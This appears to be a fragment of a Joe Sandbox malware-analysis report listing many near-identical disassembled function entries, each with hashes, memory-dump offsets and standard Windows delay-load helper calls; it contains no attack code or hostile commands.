                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: e6c6f9b6fb3f13a4adbfa0b6c583c5bb3bbc511ffd8a157b0ed20bb89a56a183
                                                                                                                                                        • Instruction ID: c4aedaf59805219d9d7fcc7e3c22a6cbca532e9074cf961972f78759778409fc
                                                                                                                                                        • Opcode Fuzzy Hash: e6c6f9b6fb3f13a4adbfa0b6c583c5bb3bbc511ffd8a157b0ed20bb89a56a183
                                                                                                                                                        • Instruction Fuzzy Hash: 2EB0128525C340FC3244E1553E03C77010DD7C8B10370451FF002C2343E8408C440131
                                                                                                                                                        Function 00DB4953 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: cd1747c8c8e9cc229835101af208bf30430b38bd197a3d2475e100e148395d99
                                                                                                                                                        • Instruction ID: 00db1586c93f0465b01cd341d51468285820eade56f7f1e03843f2c638e0cf97
                                                                                                                                                        • Opcode Fuzzy Hash: cd1747c8c8e9cc229835101af208bf30430b38bd197a3d2475e100e148395d99
                                                                                                                                                        • Instruction Fuzzy Hash: ABB0128525C340FC3244E1553F03C77010DC7C8B10370455FF402C2343E8418E460031
                                                                                                                                                        Function 00DB4949 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 8f46bbbab7d5d681eea7a0e5d97a615eec7c5760526f028fa2ec84aadfbeb697
                                                                                                                                                        • Instruction ID: 2b969d826778549ebc4c8da3955587a8d59618bce03218f4a5aa54918b0f75f4
                                                                                                                                                        • Opcode Fuzzy Hash: 8f46bbbab7d5d681eea7a0e5d97a615eec7c5760526f028fa2ec84aadfbeb697
                                                                                                                                                        • Instruction Fuzzy Hash: 9CB0128525C340FC3784E1553E03C77010DC7C8B10370461FF002C2343E8408C840031
                                                                                                                                                        Function 00DB497B Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: f5de8e3e6eef2f3d9f2244eb6a028a565140502966861a8989b500d1f61d4b7c
                                                                                                                                                        • Instruction ID: a90b427c137f72cce9fec6a760dff29259b68e137dc8321a8e7559d0678bbd74
                                                                                                                                                        • Opcode Fuzzy Hash: f5de8e3e6eef2f3d9f2244eb6a028a565140502966861a8989b500d1f61d4b7c
                                                                                                                                                        • Instruction Fuzzy Hash: CEB0128125C240FC3248E1153F03C77010DC7C8B10330855FF406C2343E8418D4E0031
                                                                                                                                                        Function 00DB4967 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2a7a3dc37588e4ab8167f8ec90370ccb7c740b6554f23e7735d15e1c02aaec2a
                                                                                                                                                        • Instruction ID: dba5233b3ba6aeff03a8ef81173405cb9d20049470dd1c5bd11210191141efce
                                                                                                                                                        • Opcode Fuzzy Hash: 2a7a3dc37588e4ab8167f8ec90370ccb7c740b6554f23e7735d15e1c02aaec2a
                                                                                                                                                        • Instruction Fuzzy Hash: DAB0128125C241FC3248E5153E03C77010DC7C9B10330C51FF406C2383E8408C480131
                                                                                                                                                        Function 00DB4906 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 08b5198fd025e6bacbc474a782144b94b0deca0181a3bdc90e62a9ceee8e6ba6
                                                                                                                                                        • Instruction ID: 3bb5b77e36216d276df62a09fa00c74044e9d18a142beb692a746919da6ecfab
                                                                                                                                                        • Opcode Fuzzy Hash: 08b5198fd025e6bacbc474a782144b94b0deca0181a3bdc90e62a9ceee8e6ba6
                                                                                                                                                        • Instruction Fuzzy Hash: 8EB0129125C280FC3204A2113F03CB7050DC7C4B10330455FF402C1143EC429D560035
                                                                                                                                                        Function 00DB493F Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2ac768f09aadb801751bb52ba24ed9f8f667e481c6a761a4f787802a2bfe410a
                                                                                                                                                        • Instruction ID: 2d8902852a2b448a52285c9f17ead9c3cc960463a7612105551bc9ec97e3552f
                                                                                                                                                        • Opcode Fuzzy Hash: 2ac768f09aadb801751bb52ba24ed9f8f667e481c6a761a4f787802a2bfe410a
                                                                                                                                                        • Instruction Fuzzy Hash: 0EB0128525C340FC3244E1553E03C77010DC7C9B10370851FF402C2343E8409C440131
                                                                                                                                                        Function 00DB4935 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 28cd453d57580469ade6e45973590222dcded92e8a7becf3853bdb8539bb4ded
                                                                                                                                                        • Instruction ID: 2f257b29b5987fa66d14e82f8b18a9f94322e3177aa15a9e023734adf18e2d5f
                                                                                                                                                        • Opcode Fuzzy Hash: 28cd453d57580469ade6e45973590222dcded92e8a7becf3853bdb8539bb4ded
                                                                                                                                                        • Instruction Fuzzy Hash: 5FB0128126C340FC3244E1157E03C77011DC7C9B10330461FF002C2243E8408C440035
                                                                                                                                                        Function 00DB492B Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 68703d85ac1d761ed93c9f687e0e4fdebd8f997daaf30a1eaa583af5f00c9942
                                                                                                                                                        • Instruction ID: fb738f00ac431398235632932f852914e3f68bb5368c01177874d02033f63df3
                                                                                                                                                        • Opcode Fuzzy Hash: 68703d85ac1d761ed93c9f687e0e4fdebd8f997daaf30a1eaa583af5f00c9942
                                                                                                                                                        • Instruction Fuzzy Hash: A9B0128125C240FC3244E1157F03C77011DC7C9B10370475FF402C2243E8418D460035
                                                                                                                                                        Function 00DB4921 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: fafa5d1d020284c89147df715bd42d10bb96ac3b1aa03b6fe56eaa81e2d4ccb3
                                                                                                                                                        • Instruction ID: bf0bd21885e9f3407a09e23780b8184cb37c5143f0f4a20e3b486f550f07c9a7
                                                                                                                                                        • Opcode Fuzzy Hash: fafa5d1d020284c89147df715bd42d10bb96ac3b1aa03b6fe56eaa81e2d4ccb3
                                                                                                                                                        • Instruction Fuzzy Hash: 8FB0128125C340FC3384E1157E03C77011DC7C9B10330471FF002C2243E8408C840035
                                                                                                                                                        Function 00DB4A07 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4918
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 2c0ca850a0ad1f888c9df5efb4eccc525dc9e06b55f23a6731e17d13fbde00b4
                                                                                                                                                        • Instruction ID: d67eaa27be0976751bf2a551f4da999aae2f813d214fa2f63428759b3e33c0ec
                                                                                                                                                        • Opcode Fuzzy Hash: 2c0ca850a0ad1f888c9df5efb4eccc525dc9e06b55f23a6731e17d13fbde00b4
                                                                                                                                                        • Instruction Fuzzy Hash: 46B0128125C250FC3244E1157E03C77010DC7C9B10330891FF402C6243E8408C440131
                                                                                                                                                        Function 00DB4B8A Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 668c897fb4c4b6d4088ef3e46404165c9030c8b2b72d5eec8ff9456fea95f1fd
                                                                                                                                                        • Instruction ID: cd00e4943401835d0e676760fd177c7d84eb3c4be466637d93032a978a1fc4b7
                                                                                                                                                        • Opcode Fuzzy Hash: 668c897fb4c4b6d4088ef3e46404165c9030c8b2b72d5eec8ff9456fea95f1fd
                                                                                                                                                        • Instruction Fuzzy Hash: CDB0128235C140FC3184E14A1E13D77011DC6C5B10330911BF402C3343E8409C440135
                                                                                                                                                        Function 00DB4B58 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: ad320f6ba87e2e3e8dd85d53fc1d41b4f29ac81a2e18381abc2229e3ffa6b6ac
                                                                                                                                                        • Instruction ID: d8ffd801b874fead1a896e4918b08c217de54cfebe38bb947600f3c1b055cd28
                                                                                                                                                        • Opcode Fuzzy Hash: ad320f6ba87e2e3e8dd85d53fc1d41b4f29ac81a2e18381abc2229e3ffa6b6ac
                                                                                                                                                        • Instruction Fuzzy Hash: 20B0128235C140FC3244F10A5E03D77011DC6C5B10330531BF002C3283E8408C880039
                                                                                                                                                        Function 00DB4B62 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4B3B
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
                                                                                                                                                          • Part of subcall function 00DB4FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DB5052
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000000.00000002.2277244063.0000000000D91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D90000, based on PE: true
                                                                                                                                                        • Associated: 00000000.00000002.2277224992.0000000000D90000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277272891.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DD9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277291970.0000000000DE2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        • Associated: 00000000.00000002.2277333465.0000000000DE7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_0_2_d90000_mJIvCBk5vF.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                                                                                                                        • String ID:
                                                                                                                                                        • API String ID: 1269201914-0
                                                                                                                                                        • Opcode ID: 0f64dba9fe85bd35cc98f8a8c2147d477d792ea69cb3bb17c2a97c63a850e298
                                                                                                                                                        • Instruction ID: 1f90181ee7769affa56883272fe5bdf712e023ff7766787ddb5ed9992128e097
                                                                                                                                                        • Opcode Fuzzy Hash: 0f64dba9fe85bd35cc98f8a8c2147d477d792ea69cb3bb17c2a97c63a850e298
                                                                                                                                                        • Instruction Fuzzy Hash: 90B0128235C040FC3144F10A5F03D77011DC6C5B20330935BF102C3243E8408C460039
                                                                                                                                                        Function 00DB4C99 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • ___delayLoadHelper2@8.DELAYIMP ref: 00DB4C90
                                                                                                                                                          • Part of subcall function 00DB4FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DB5041
